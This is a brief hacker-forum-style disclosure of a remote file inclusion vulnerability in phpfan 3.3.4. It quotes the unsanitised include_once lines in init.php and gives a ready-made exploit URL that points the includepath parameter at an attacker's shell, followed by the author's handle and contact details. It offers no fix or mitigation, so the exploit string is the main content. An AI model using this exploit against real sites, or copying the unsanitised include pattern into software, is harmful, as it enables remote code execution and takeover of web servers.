phpfan 3.3.4 (init.php includepath) Remote File Inclusion Vulnerability

************************(remote file include)***************** script: phpfan 3.3.4 *************************************************************************** download from:http://ishallnotcare.org/mint/pepper/tillkruess/downloads/tracker.php?url=http%3A//scriptsextra.ishallnotcare.org/phpfanbasic334.zip *************************************************************************** ............................................................................ vul: <?php if (!isset($loaded)) { include_once $includepath .'/functions.php'; line 6:.> include_once $includepath .'/debug.php'; xpl: http://site.com/path/includes/init.php?includepath=shell? *************************************************** *************************************************** Author: ahmadbady from http://www.deltahacking.net my mail: kivi_hacker666@yahoo.com ***************************************************